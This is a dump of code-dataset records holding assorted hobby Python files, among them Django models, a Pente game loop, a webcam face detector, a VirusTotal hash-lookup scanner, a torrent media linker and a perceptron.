db_column=\"inventario_cantidad\",\n verbose_name=\"Cantidad del plato\"\n )\n inventarioPrecio = models.DecimalField(\n max_digits= 5,\n decimal_places= 2,\n null=False,\n db_column=\"inventario_precio\",\n verbose_name=\"Precio del plato\"\n )\n\n def __str__(self):\n return self.inventarioPlato\n class Meta:\n db_table=\"t_inventario\"\n verbose_name=\"Inventario\"\n verbose_name_plural=\"Inventarios\"","sub_path":"Semana 10/Restaurante/Almacen/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"62615508","text":"from mcts import *\nfrom pente import *\nimport sys\n\ndef get_action():\n parts = input(\"your move: \").split(' ')\n x = int(parts[0])\n y = int(parts[1])\n return (x, y)\n\nmcts = MonteCarlo(board=Pente(),\n max_iters=100,\n explore_coefficient=1.4,\n max_depth=9)\nwhile not mcts.finished():\n mcts.pretty_print()\n mcts.update(1, get_action())\n mcts.pretty_print()\n\n print(\"thinking...\")\n\n if mcts.finished():\n print(\"You won!\")\n sys.exit(0)\n #response\n mcts.update(2, mcts.pick_action(2))\nmcts.pretty_print()\nprint(\"You lost...\")\n","sub_path":"realtime_pente.py","file_name":"realtime_pente.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"17744165","text":"__author__ = 'Jason'\nimport numpy as np\nimport pylab as plt\nimport math\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom q_plots import find_q_plots\nfrom q_plots import plot_q_plots\n\n#creates a new unit cell in the position specified by the add vector\ndef translate(particle, add, a,b,c,d):\n addx = tuple(map(sum, zip(a,add)))\n addy = tuple(map(sum, zip(b,add)))\n addz = tuple(map(sum, zip(c,add)))\n addq = tuple(map(sum, zip(d,add)))\n\n #all delta functions\n particle[addx] = 1\n particle[addy] = 1\n particle[addz] = 1\n particle[addq] = 1\n\n return particle\n\n#expand the particle size to the user specified amount\ndef makeLarger(particle, cell_per_side_x,cell_per_side_y,cell_per_side_z,a,b,c,d):\n for i in xrange (0,cell_per_side_x):\n for j in xrange (0,cell_per_side_y):\n for k in xrange (0,cell_per_side_z):\n add = (2*i,2*j,2*k)\n\n #add the original unit cell with translation vector\n particle = translate(particle, add, a,b,c,d)\n return particle\n\n\n#creates a unit cell particle in a 3D tensor where the indices of the particle define the location\n#of the atoms. The atoms are simply delta functions. After creating the unit cell the particle is\n#expanded by the user defined amount.\ndef createParticle(cell_per_side_x,cell_per_side_y,cell_per_side_z):\n #create the particle\n particle = np.zeros((2*cell_per_side_x, 2*cell_per_side_y, 2*cell_per_side_z))\n\n # create one unit cell at the origin, fcc\n a = (0,0,0)\n b = (0,1,1)\n c = (1,1,0)\n d = (1,0,1)\n\n return makeLarger(particle,cell_per_side_x, cell_per_side_y, cell_per_side_z,a,b,c,d)\n\n#filter out noise\ndef filter(diffract):\n low_inds = diffract < 10**-8\n diffract[low_inds] = 0\n return diffract\n\n#the latice in reciprocal space is defined by the discrete fourier transform\ndef calculateReciprocal(particle):\n #fourier transform the space\n diffract = np.fft.rfftn(particle)\n\n #filter out results that are within error (noise)\n return filter(diffract)\n\n# find q and phi for each of the points defined by x,y,z\ndef findQ(zbeam, xyznew, x, y, z, detDist):\n phi,theta,q = [np.zeros(len(x)),np.zeros(len(x)),np.zeros(len(x))]\n for i in xrange(len(x)):\n theta[i] = math.atan2((z[i]-zbeam),((np.sqrt(((x[i])**2+(y[i])**2))+detDist)))\n if(xyznew[i][0] == 0 and theta[i] >= 0):\n phi[i] = np.pi/2.\n elif(xyznew[i][0] == 0 and theta[i] < 0):\n phi[i] = -1*np.pi/2.\n elif(xyznew[i][0] > 0):\n phi[i] = math.atan2((z[i]-zbeam),xyznew[i][0])\n else:\n phi[i] = np.pi - math.atan2((z[i]-zbeam),np.abs(xyznew[i][0]))\n\n\n q[i] = np.abs((4*np.pi)*math.sin(0.5*theta[i])/waveLength)\n return [q, phi]\n\n\ndef constructRotMatrix():\n sinm45 = 1.4142135623730951/2.\n rotation = [sinm45, -sinm45, 0,sinm45, sinm45, 0,0,0,1]\n return np.reshape(rotation,(3,3))\n\n#project the points onto the plane perpendicular to x=y\ndef plot2D(diffract,detDist):\n\n #next sequence is to project everything onto a 2D plane\n x,y,z = diffract.nonzero()\n xyz = np.transpose(diffract.nonzero())\n\n #construct rotation matrix to rotate 45 deg\n rotation = constructRotMatrix()\n xyznew = []\n\n #rotate everything\n for i in xrange(len(x)):\n xyznew.append(np.dot(rotation, xyz[i]))\n\n zbeam = (np.max(z)+np.min(z))/2.\n\n #find q for everything\n plotValue = findQ(zbeam, xyznew, x,y,z, detDist)\n\n #plot points in 2D\n fig2D = plt.figure(1)\n ax = fig2D.add_subplot(111, polar = True)\n ax.scatter(plotValue[1], plotValue[0])\n\n\n#plot the points in 3D\ndef plot3D(diffract):\n #find the coordinates of the non zero parts of the cell\n x,y,z = diffract.nonzero()\n fig1 = plt.figure(2)\n\n ax = fig1.add_subplot(111, projection='3d')\n ax.scatter(x, y, z, zdir='z', c= 'red')\n\n\n#detector size in pixels\ndetX = 500.\ndetY = 500.\n\n#in meters\nwaveLength = 0.7293*(10**(-10)) # wavelength of x-ray beam\ndetDist = 0.002 # detector distance\npixSz = 0.0003 # pixel size\n\natmFactor = 1 # atomic form factor\natmDist = 2.*10**-10\n\n# number of unit cells per side on a block, user defined\ncell_per_side_x = 2\ncell_per_side_y = 2\ncell_per_side_z = 2\n\n#particle = createParticle(cell_per_side_x, cell_per_side_y, cell_per_side_z)\n#diffract = calculateReciprocal(particle)\nplots_q = find_q_plots(detX, detY, pixSz, detDist, waveLength)\n\n\nplot_q_plots(plots_q[0], plots_q[1], plots_q[2])\n\n#plot2D(diffract, detDist)\n#plot3D(diffract)\nplt.show()","sub_path":"scattering.py","file_name":"scattering.py","file_ext":"py","file_size_in_byte":4523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"47368186","text":"import cv2\r\nimport os\r\nimport time\r\n\r\n\r\ndef catch_video(tag, window_name='catch face', camera_idx=0):\r\n cv2.namedWindow(window_name)\r\n # 视频来源,可以来自一段已存好的视频,也可以直接来自摄像头\r\n cap = cv2.VideoCapture(camera_idx, cv2.CAP_DSHOW)\r\n while cap.isOpened():\r\n # 读取一帧数据\r\n ok, frame = cap.read()\r\n if not ok:\r\n break\r\n # 抓取人脸的方法, 后面介绍\r\n catch_face(frame, tag)\r\n # 输入'q'退出程序\r\n cv2.imshow(window_name, frame)\r\n c = cv2.waitKey(1)\r\n if c & 0xFF == ord('q'):\r\n break\r\n # 释放摄像头并销毁所有窗口\r\n cap.release()\r\n cv2.destroyAllWindows()\r\n return 0\r\n\r\ndef catch_face(frame, tag):\r\n # 告诉OpenCV使用人脸识别分类器\r\n classfier = cv2.CascadeClassifier(\"C:\\Program Files (x86)\\Microsoft Visual Studio\\Shared\\Python37_64\\Lib\\site-packages\\cv2\\data\\haarcascade_frontalface_alt2.xml\")\r\n # 识别出人脸后要画的边框的颜色,RGB格式\r\n color = (0, 255, 0)\r\n # 将当前帧转换成灰度图像\r\n grey = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\r\n # 人脸检测,1.2和2分别为图片缩放比例和需要检测的有效点数\r\n face_rects = classfier.detectMultiScale(grey, scaleFactor=1.2, minNeighbors=3, minSize=(32, 32))\r\n num = 1\r\n if len(face_rects) > 0: # 大于0则检测到人脸\r\n # 图片帧中有多个图片,框出每一个人脸\r\n for face_rects in face_rects:\r\n x, y, w, h = face_rects\r\n image = frame[y - 10:y + h + 10, x - 10:x + w + 10]\r\n # 保存人脸图像\r\n #save_face(image, tag, num)\r\n cv2.rectangle(frame, (x - 10, y - 10), (x + w + 10, y + h + 10), color, 2)\r\n num += 1\r\n\r\n\r\ndef save_face(image, tag, num):\r\n # DATA_TRAIN为抓取的人脸存放目录\r\n DATA_TRAIN = './data/train'\r\n img_name = os.path.join(DATA_TRAIN, str(tag), '{}_{}.jpg'.format(int(time.time()), num))\r\n # 保存人脸图像到指定的位置, 其中会创建一个tag对应的目录,用于后面的分类训练\r\n image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\r\n cv2.imwrite(img_name, image)\r\n\r\ncatch_video(tag=4)\r\n","sub_path":"catch_image.py","file_name":"catch_image.py","file_ext":"py","file_size_in_byte":2252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"338422713","text":"# -*- coding: utf-8 -*-\n\nimport random\n#快速排序\ndef qsort(list,low,high):\n if low >= high:\n return\n first=low\n last=high\n key=list[first] #将key值设置为list的第一个数\n #主循环,算法重点,见流程图\n while last>first:\n while last>first and list[last] >= key:\n last-=1\n #直到找到那个比key小的数,然后把这个数赋给list的第一个数,第一个数是记录在key中\n list[first]=list[last]\n while last>first and list[first] <= key:\n first+=1\n #直到找到那个比key大的数,然后把这个数赋给list之前last指向的位置,第一个数是记录在key中\n list[last]=list[first]\n list[first]=key\n#这两行利用递归完成两个分区的排序\n qsort(list,low,first-1)\n qsort(list,first+1,high)\n\n\n\n#以下是调用快速排序方法\nmy_list=[]\nfor i in range(8):\n my_list.append(random.randint(1,300))\nprint(my_list)\nqsort(my_list,0,len(my_list)-1)\nprint(my_list)\n","sub_path":"数据结构与算法/排序方法/Sort with Python/1.快速排序.py","file_name":"1.快速排序.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"502592233","text":"def entering_values():\n new_dict = {\"Название\": input(\"Введите название товара\"), \"Цена\": input(\"Введите цену товара\"), \"Количество\": input(\"Введите количество товара\"), \"Единица измерения\": input(\"И единицу измерения\")}\n return new_dict\na_1 = entering_values()\na_2 = entering_values()\na_3 = entering_values()\nprint(f\"Товар 1: {a_1}\")\nprint(f\"Товар 1: {a_2}\")\nprint(f\"Товар 1: {a_3}\")\nname_list = [a_1.get(\"Название\"), a_2.get(\"Название\"), a_3.get(\"Название\")]\nprint(f\"Названия товаров: {name_list}\")\nprice_list = [a_1.get(\"Цена\"), a_2.get(\"Цена\"), a_3.get(\"Цена\")]\nprint(f\"Цены товаров: {price_list}\")\nquantity_list = [a_1.get(\"Количество\"), a_2.get(\"Количество\"), a_3.get(\"Количество\")]\nprint(f\"Количество товаров: {quantity_list}\")\nunit_list = [a_1.get(\"Единица измерения\"), a_2.get(\"Единица измерения\"), a_3.get(\"Единица измерения\")]\nfor el in unit_list:\n if unit_list.count(el) > 2:\n unit_list = [a_1.get(\"Единица измерения\")]\n elif unit_list.count(el) > 1:\n unit_list.remove(el)\nprint(f\"Единицы измерений товаров: {unit_list}\")","sub_path":"lesson2/2.6.py","file_name":"2.6.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"266882388","text":"#!/usr/local/bin/python3\r\n# coding: utf-8\r\n\r\n# Import modules\r\nfrom os import path\r\nfrom urllib import request\r\nfrom json import loads as json_loads\r\nfrom hashlib import md5\r\nfrom terminaltables import AsciiTable\r\nfrom colorama import Fore\r\nfrom webbrowser import open as webbrowser_open\r\n\r\n# Logo\r\nlogo = (Fore.MAGENTA + r'''\r\n \r\n █▀█ █░█ ▄▀█ █▄░█ ▀█▀ █▀█ █▀▄▀█   █▀ █▀▀ ▄▀█ █▄░█ █▄░█ █▀▀ █▀█\r\n █▀▀ █▀█ █▀█ █░▀█ ░█░ █▄█ █░▀░█   ▄█ █▄▄ █▀█ █░▀█ █░▀█ ██▄ █▀▄\r\n Created by LimerBoy with ''' + Fore.RED + '''Love <3 ''' + Fore.MAGENTA + '''\r\n\r\n * You must select the path to the file.\r\n * Only the hash of the file on Virustotal will be checked.\r\n * The file itself will not be sent.\r\n\r\n\t''' + Fore.RESET)\r\n\r\n# Main\r\ndef main():\r\n\r\n\t# Get file hash\r\n\tdef getFilemd5(filename):\r\n\t hash_md5 = md5()\r\n\t with open(filename, \"rb\") as f:\r\n\t for chunk in iter(lambda: f.read(4096), b\"\"):\r\n\t hash_md5.update(chunk)\r\n\t return hash_md5.hexdigest()\r\n\r\n\t# Select file\r\n\tfile = input(Fore.CYAN + ' >>> Select file: ' + Fore.RESET)\r\n\tif not path.exists(file):\r\n\t\texit(Fore.RED + \"[!] File \" + path.basename(file) + \" not found!\" + Fore.RESET)\r\n\telse:\r\n\t\tfile_md5 = getFilemd5(file)\r\n\r\n\t# Get VirusTotal results\r\n\tvirustotal = json_loads(request.urlopen('https://www.virustotal.com/ui/search?query=' + file_md5).read())\r\n\r\n\t# Show scanners results in table\r\n\ttry:\r\n\t\tdetection = virustotal['data'][0]['attributes']['last_analysis_results']\r\n\texcept IndexError:\r\n\t\tprint(Fore.YELLOW + \"[!] File \" + path.basename(file) + \" has never been uploaded to VirusTotal\" + Fore.RESET)\r\n\t\tif input(Fore.BLUE + '[?] Open VirusTotal to upload file? (y/n)\\n ---> ' + Fore.RESET).lower() in ('y', 'yes'):\r\n\t\t\twebbrowser_open('https://www.virustotal.com/gui/home/upload')\r\n\t\texit()\r\n\telse:\r\n\t\ttable_data = [\r\n\t\t ['Scanner', 'Category']\r\n\t\t]\r\n\t\tfor res in detection:\r\n\t\t\tengine = detection[res]['engine_name']\r\n\t\t\tcategory = detection[res]['category']\r\n\r\n\t\t\t# Change color if file malicious\r\n\t\t\tif category.lower() == \"undetected\":\r\n\t\t\t\tcategory = Fore.GREEN + category\r\n\t\t\telse:\r\n\t\t\t\tcategory = Fore.RED + category\r\n\r\n\t\t\tcategory += Fore.RESET\r\n\t\t\t# Add to table\r\n\t\t\ttable_data.append([engine, category])\r\n\r\n\t\t# Table\r\n\t\ttable = AsciiTable(table_data)\r\n\t\tprint(table.table)\r\n\r\n\t\t# Show stats\r\n\t\tdetection = virustotal['data'][0]['attributes']['last_analysis_stats']\r\n\t\tprint(\r\n\t\t\t\"\\n>> STATS:\"\r\n\t\t\t\"\\n Malicious : \" + str(detection['malicious']) +\r\n\t\t\t\"\\n Suspicious : \" + str(detection['suspicious']) +\r\n\t\t\t\"\\n Harmless : \" + str(detection['harmless']) +\r\n\t\t\t\"\\n Undetected : \" + str(detection['undetected'])\r\n\t\t\t)\r\n\r\n\t\t# Open full report?\r\n\t\tif virustotal['data']:\r\n\t\t\tif input(Fore.YELLOW + '[?] Open full VirusTotal report? (y/n)\\n ---> ' + Fore.RESET).lower() in ('y', 'yes'):\r\n\t\t\t\twebbrowser_open('https://www.virustotal.com/gui/file/' + file_md5 + '/detection')\r\n\r\nif __name__ == '__main__':\r\n\tprint(logo)\r\n\tmain()","sub_path":"scanner.py","file_name":"scanner.py","file_ext":"py","file_size_in_byte":3216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"359730970","text":"#!/usr/bin/env python\nfrom __future__ import absolute_import\n\nimport os\nfrom shutil import rmtree\n\nfrom mediator import logger\nfrom mediator.config import settings\nfrom mediator.media import Media\n\n\nclass UpdateError(Exception):\n pass\n\n\nclass LinkError(Exception):\n pass\n\n\nclass Torrent(object):\n\n def __init__(self, attributes):\n \"\"\"Interacts with filesystem based on data collected from Media object\n\n Args:\n attributes (dict): expects a Media dictionary\n\n Attributes:\n name (str): name of torrent tracked\n type (str): media type (episode, season, movie, ... )\n metadata (dict): dictionary containing attributes and files\n path (str): full path to torrent file or directory\n links list[(str, str)]: 2-tuple (/path/to/file, CorrectName_(2016))\n \"\"\"\n\n self.name = attributes.keys()[0]\n self.type = attributes[self.name]['type']\n self.metadata = attributes[self.name].copy()\n\n self.path = self._set_path()\n self.links = self._format_media()\n\n def __iter__(self):\n \"\"\"Represent class as a dictionary\n\n Returns:\n dict: metadata dictionary with torrent name as a parent key\n \"\"\"\n\n return {self.name: self.metadata}.iteritems()\n\n def __str__(self):\n \"\"\"Represent class as a string\n\n Returns:\n attrs (str): attributes in metadata of torrent\n \"\"\"\n\n attrs = \"\"\n\n for k, v in self.metadata.items():\n if k != \"files\":\n attrs += str(v) + \"\\n\"\n\n return attrs\n\n def _set_path(self):\n \"\"\"Construct the path to link to based on media type\n\n Returns:\n path (str): /path/to/self.type/media_name\n \"\"\"\n if self.type == \"season\" or self.type == \"episode\":\n path = \"{lib}/broadcasts/{series}/Season {season}\".format(\n lib=settings['media-library'],\n series=self.metadata['series'],\n season=self.metadata['season'])\n\n elif self.type == \"movie\":\n path = \"{lib}/movies/{title}\".format(\n lib=settings['media-library'],\n title=self.metadata['title'])\n\n return path\n\n def update(self, diff):\n \"\"\"Update torrent with new metadata attributes\n\n Args:\n diff (dict): expects a dictionary subset of torrent's existing keys\n\n Returns:\n raise UpdateError if diff keys are not a subset of existing keys\n \"\"\"\n if not set(diff).issubset(set(self.metadata)):\n raise UpdateError(\"Submitted keys not found in metadata\")\n\n # update metadata keys with new values\n for k, v in diff.items():\n print(\"{}: {} -> {}\".format(k, self.metadata[k], v))\n self.metadata[k] = v\n\n # seasons require more metadata updates for nested keys\n if self.metadata['type'] == \"season\":\n for e in self.metadata['episodes']:\n print(\" - episode: {}\".format(e['episode']))\n\n # update same metadata keys of child as done on parent\n for k, v in diff.items():\n print(\" {}: {} -> {}\".format(k, e[k], v))\n e[k] = v\n\n # check if metadata changes means name of episode changed\n name = Media.get_episode_name(series=self.metadata['series'],\n season=self.metadata['season'],\n episode=e['episode'])\n\n # update episode name if necessary\n if name != e['episodename']:\n print(\" episodename: {} -> {}\".format(e['episodename'],\n name))\n e['episodename'] = name\n\n # check if metadata changes to episode means name of episode changed\n elif self.metadata['type'] == \"episode\":\n name = Media.get_episode_name(series=self.metadata['series'],\n season=self.metadata['season'],\n episode=self.metadata['episode'])\n\n # update episode name if necessary\n if name != self.metadata['episodename']:\n print(\"episodename: {} -> {}\".format(self.metadata['episodename'],\n name))\n self.metadata['episodename'] = name\n\n def link_media(self):\n \"\"\"Iterate over all files found and link them with proper styling\n to the media directory\n\n Returns:\n True if successful, raise LinkError otherwise\n \"\"\"\n\n try:\n os.makedirs(self.path)\n except Exception as e:\n logger.warning(e)\n\n for link in self.links:\n try:\n logger.debug(\"Linking {}\".format(link[1]))\n os.link(link[0], \"{}/{}\".format(self.path, link[1]))\n except Exception as e:\n logger.exception(\"{}: {}\".format(e, link))\n raise LinkError(\"Unable to link torrent to library\")\n\n return True\n\n def unlink_media(self):\n \"\"\"Iterate over all files found and unlink them from media directory\n\n Returns:\n True if successful, raise LinkError otherwise\n \"\"\"\n\n for link in self.links:\n try:\n logger.debug(\"Removing link at {}\".format(link[1]))\n os.remove(\"{}/{}\".format(self.path, link[1]))\n except Exception as e:\n logger.error(\"{}: {}\".format(e, link))\n raise LinkError(\"Unable to remove content from media library\")\n\n return True\n\n def relink_media(self):\n \"\"\"Removes links from media directory, gathers links and style again,\n and then relinks media\n\n Returns:\n True if successfull, raise UpdateError otherwise\n \"\"\"\n\n logger.info(\"Relinking Torrent object\")\n # remove links under old names\n try:\n self.unlink_media()\n except LinkError:\n raise UpdateError(\"Unable to update links for media\")\n\n # essentially reinitializing the object.\n # perhaps there's something more here...\n self.links = []\n self.path = self._set_path()\n self.links = self._format_media()\n\n # recreate links with new names\n try:\n self.link_media()\n except LinkError:\n raise UpdateError(\"Unable to update links for media\")\n\n logger.info(\"Torrrent object media files relinked\")\n return True\n\n def _format_media(self):\n \"\"\"Construct the parseable media filename\n\n Returns:\n links: 2-tuple like (/full/path/to/file, name_of_symlink)\n \"\"\"\n\n movie_style = \"{title}_({year})\"\n season_style = \"{series}.S{season:02d}\"\n episode_style = \"{series}.S{season:02d}E{episode:02d}\"\n\n links = []\n\n # form the style of the media\n if self.type == \"movie\":\n style = movie_style.format(\n title=self.metadata['title'].replace(\" \", \"_\"),\n year=self.metadata['year'])\n\n elif self.type == \"episode\":\n style = episode_style.format(\n series=self.metadata['series'].replace(\" \", \"_\"),\n season=self.metadata['season'],\n episode=self.metadata['episode'])\n\n if self.metadata['episodename']:\n style += \"_-_{name}\".format(\n name=self.metadata['episodename'].replace(\" \", \"_\"))\n\n elif self.type == \"season\":\n style = season_style.format(\n series=self.metadata['series'].replace(\" \", \"_\"),\n season=self.metadata['season'])\n\n # take the naming style and put it together with torrent's media files\n if self.type == \"season\":\n for episode in self.metadata['episodes']:\n for f in episode['files']:\n style = episode_style.format(\n series=episode['series'].replace(\" \", \"_\"),\n season=episode['season'],\n episode=episode['episode'])\n\n if episode['episodename']:\n style += \"_-_{name}\".format(\n name=episode['episodename'].replace(\" \", \"_\"))\n links.append((f, \"{}{}\".format(style, os.path.splitext(os.path.basename(f))[1])))\n\n elif self.type == \"movie\" or self.type == \"episode\":\n for f in self.metadata['files']:\n links.append((f, \"{}{}\".format(style, os.path.splitext(os.path.basename(f))[1])))\n\n return links\n","sub_path":"mediator/torrent.py","file_name":"torrent.py","file_ext":"py","file_size_in_byte":8786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"545334162","text":"import random\ntrain = open('./test_data.csv', 'r').read()\n\ntest = open('./train_data.csv', 'r').read()\n\ndef parseData(file):\n \n init = file.split('\\n')\n\n out = []\n\n for entry in init:\n output = []\n for idx, value in enumerate( entry.split(',') ):\n\n if idx == 0:\n output.append(int(value))\n # if int(value) > 40:\n # output.append(1)\n # else: \n # output.append(0)\n # continue\n\n if value in ['Yes', 'Female', \"Positive\"]:\n output.append(1)\n else:\n output.append(0)\n out.append(output)\n\n\n return( out )\n\n\n\n \n\n\ndef dotProduct(vec1, vec2):\n sum = 0\n for i in range(len(vec1)):\n sum += vec1[i] * vec2[i]\n return sum\n\ndef addVector(vec1,vec2):\n new = []\n for i in range(len(vec1)):\n new.append( vec1[i] + vec2[i] )\n return new\n\ndef subVector(vec1,vec2):\n new = []\n for i in range(len(vec1)):\n new.append( vec1[i] - vec2[i] )\n return new\n\ndef genRandomWeights(length):\n return [random.random() for x in range(length)]\n\n\n\ndef perceptron(file, readjustmentLimit):\n\n ## last index is if it's true or false\n vecs = parseData(file)\n\n\n weights = genRandomWeights( len(vecs[0]) - 1 )\n\n ogWeight = weights\n\n readjustments = 0\n\n while readjustments <= readjustmentLimit:\n for vec in vecs:\n vec_is_positive = vec[-1] == 1\n \n dot_product_with_weight = dotProduct(vec[0:-1], weights)\n\n classified_as_positive = dot_product_with_weight > 0\n\n if(classified_as_positive):\n # dp > 0 suggests this was classified as Positive\n if not vec_is_positive:\n readjustments += 1\n print('readjusted')\n\n weights = subVector(weights, vec[0:-1])\n\n else:\n # dp < 0 suggests this is Negative\n if vec_is_positive:\n readjustments += 1\n print('readjusted')\n\n weights = addVector(weights, vec[0:-1])\n\n return(ogWeight,weights)\n\ndef testModel(train_file, test_file, limit):\n\n (og, new) = perceptron(train_file, limit)\n\n print(new)\n\n vecs = parseData(test_file)\n\n ogCorrect = 0\n newCorrect = 0\n\n for vec in vecs:\n\n vec_is_positive = vec[-1] == 1\n\n dot_product_with_og_weight = dotProduct(vec[0:-1], og)\n\n dot_product_with_new_weight = dotProduct(vec[0:-1], new)\n\n if vec_is_positive:\n\n if(dot_product_with_new_weight > 0):\n newCorrect += 1\n elif dot_product_with_og_weight > 0:\n ogCorrect += 1\n else:\n if(dot_product_with_new_weight <= 0):\n newCorrect += 1\n elif dot_product_with_og_weight <= 0:\n ogCorrect += 1\n\n print('OG', ogCorrect / len(vecs))\n print('NEW', newCorrect / len(vecs))\n\n\n\ntestModel(test, train, 30000)\n\n\n\n\n\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"265472792","text":"class Solution:\n # @return a list of lists of length 4, [[val1,val2,val3,val4]]\n def fourSum(self, num, target):\n res = []\n num = sorted(num)\n for i in range(len(num) - 3):\n for j in range(i + 1, len(num) - 2):\n k, l = j + 1, len(num) - 1\n while k < l:\n sum = num[i] + num[j] + num[k] + num[l]\n if sum == target:\n res.append([num[i], num[j], num[k], num[l]])\n k, l = k + 1, l - 1\n while k < l and num[k] == num[k - 1]:\n k += 1\n while k < l and num[l] == num[l - 1]:\n l -= 1\n elif sum < target:\n k += 1\n else:\n l -= 1\n while j < num.length - 2 and num[j] == num[j + 1]:\n j += 1\n \n while i < num.length - 3 and num[i] == num[i + 1]:\n i += 1\n","sub_path":"src/main/python/lc/four_sum.py","file_name":"four_sum.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"603174918","text":"from django.shortcuts import render\nfrom django.views.decorators.cache import cache_page\n\nfrom productsapp.models import TechnicalSolutions\nfrom projectsapp.models import Project\n\n\n@cache_page(3600)\ndef index(request):\n latest_projects = Project.objects.all().order_by('-updated')[:6]\n products = TechnicalSolutions.objects.all()\n context = {\n 'latest_projects': latest_projects,\n 'products': products,\n 'page_title': 'Мосты ТемпСтройСистемы',\n 'bred_title': 'Мосты ТемпСтройСистемы'\n }\n return render(request, 'mainapp/index.html', context)\n\n\n","sub_path":"bridges/mainapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"108598114","text":"import random\nimport PIL.Image\nimport PIL.ExifTags\nfrom datetime import datetime\nfrom typing import List\nfrom bs4 import BeautifulSoup\nfrom entities.image_meta import ImageMeta\nfrom image_loading_pipeline.helpers.file_loader import FileLoader\nfrom thread_context import ThreadContext\n\n\nclass ImageLibrary:\n\n def __init__(self, thread_context: ThreadContext):\n self.settings = thread_context.settings\n self.image_metas: List[ImageMeta] = None\n self.count: int = 0\n\n def discover_images(self, directory: str) -> List[str]:\n images = FileLoader.get_files_from_directory(directory)\n print(f'{len(images):d} images discovered.')\n\n return images\n\n # initializes the image library by detecting metadata and sorting images\n def initialize(self):\n image_paths = self.discover_images(self.settings.media_folder)\n self.image_metas = [self.get_image_metadata(image) for image in image_paths]\n self.image_metas.sort(key=lambda im: im.sort_key())\n self.count: int = len(self.image_metas)\n print(f'{self.count:d} images parsed correctly.')\n\n # creates a new sequence of random length\n # sequence always provides images that are close together\n def get_sequence(self, min_len=4, max_len=8) -> List[ImageMeta]:\n sequence_len = random.randint(min_len, max_len)\n print(f'Starting a new sequence with length of {sequence_len:d}')\n first_index = random.randint(0, self.count - sequence_len)\n sequence = [self.image_metas[i] for i in range(first_index, first_index + sequence_len)]\n random.shuffle(sequence)\n return sequence\n\n # reads image EXIF data\n def get_image_metadata(self, image_path: str) -> ImageMeta:\n image_meta = ImageMeta(image_path)\n img = PIL.Image.open(image_meta.full_path)\n exif_data = img._getexif()\n if exif_data is not None:\n image_meta.date = self.get_date_from_exif(exif_data)\n if image_meta.date is None:\n print('[WARNING] Cannot read date EXIF for: '+image_meta.full_path)\n image_meta.caption = self.get_xmp_title(img)\n\n return image_meta\n\n # reads XMP data from file and tries to extract the title property\n def get_xmp_title(self, img):\n try:\n for segment, content in img.applist:\n marker, body = content.split(b'\\x00', 1)\n if marker == b'http://ns.adobe.com/xap/1.0/':\n xml = BeautifulSoup(body, features=\"html.parser\")\n title_content = xml.find('dc:title').find('rdf:li').string\n return title_content\n except:\n pass\n\n # gets a proper datetime object from exif list\n def get_date_from_exif(self, exif) -> datetime:\n std_fmt = '%Y:%m:%d %H:%M:%S.%f'\n tags = [(36867, 37521), # (DateTimeOriginal, SubsecTimeOriginal)\n (36868, 37522), # (DateTimeDigitized, SubsecTimeOriginal)\n (306, 37520), ] # (DateTime, SubsecTime)\n for t in tags:\n dat_stmp = exif.get(t[0])\n sub_stmp = exif.get(t[1], 0)\n # PIL.PILLOW_VERSION >= 3.0 returns a tuple\n dat_stmp = dat_stmp[0] if type(dat_stmp) == tuple else dat_stmp\n sub_stmp = sub_stmp[0] if type(sub_stmp) == tuple else sub_stmp\n if dat_stmp != None: break\n if dat_stmp == None: return None\n full = '{}.{}'.format(dat_stmp, sub_stmp)\n return datetime.strptime(full, std_fmt)\n\n","sub_path":"src/image_loading_pipeline/image_library.py","file_name":"image_library.py","file_ext":"py","file_size_in_byte":3511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"176561053","text":"from __future__ import absolute_import, division, print_function\nfrom builtins import range, object\nfrom .constants import HERMITE, LAGUERRE, computeSize\n\n\nclass IndexGenerator(object):\n \"\"\"\n Base class for shapelet index generators.\n \"\"\"\n\n __slots__ = \"order\", \"size\"\n\n @staticmethod\n def make(self, order, basisType):\n if basisType == HERMITE:\n return HermiteIndexGenerator(order)\n elif basisType == LAGUERRE:\n return LaguerreIndexGenerator(order)\n\n def __init__(self, order):\n self.order = order\n self.size = computeSize(self.order)\n\n def __len__(self):\n return self.size\n\n\nclass HermiteIndexGenerator(IndexGenerator):\n \"\"\"\n Iterable that generates tuples of (i, nx, ny) in which:\n - 'i' is the overall coefficient index for a 2-d shapelet expansion (just counts from zero)\n - 'nx' is the order of the x expansion\n - 'ny' is the order of the y expansion\n \"\"\"\n\n def __iter__(self):\n i = 0\n for n in range(0, self.order+1):\n for nx in range(0, n+1):\n yield (i, nx, n - nx)\n i += 1\n\n\nclass LaguerreIndexGenerator(IndexGenerator):\n \"\"\"\n Iterable that generates tuples of (i, p, q, re) in which:\n - 'i' is the overall coefficient index for a 2-d shapelet expansion (just counts from zero)\n - 'p' and 'q' are the indices of the polar shapelet expansion (see BasisTypeEnum).\n - 're' is True if this the real part of the coefficient\n \"\"\"\n\n def __iter__(self):\n i = 0\n for n in range(0, 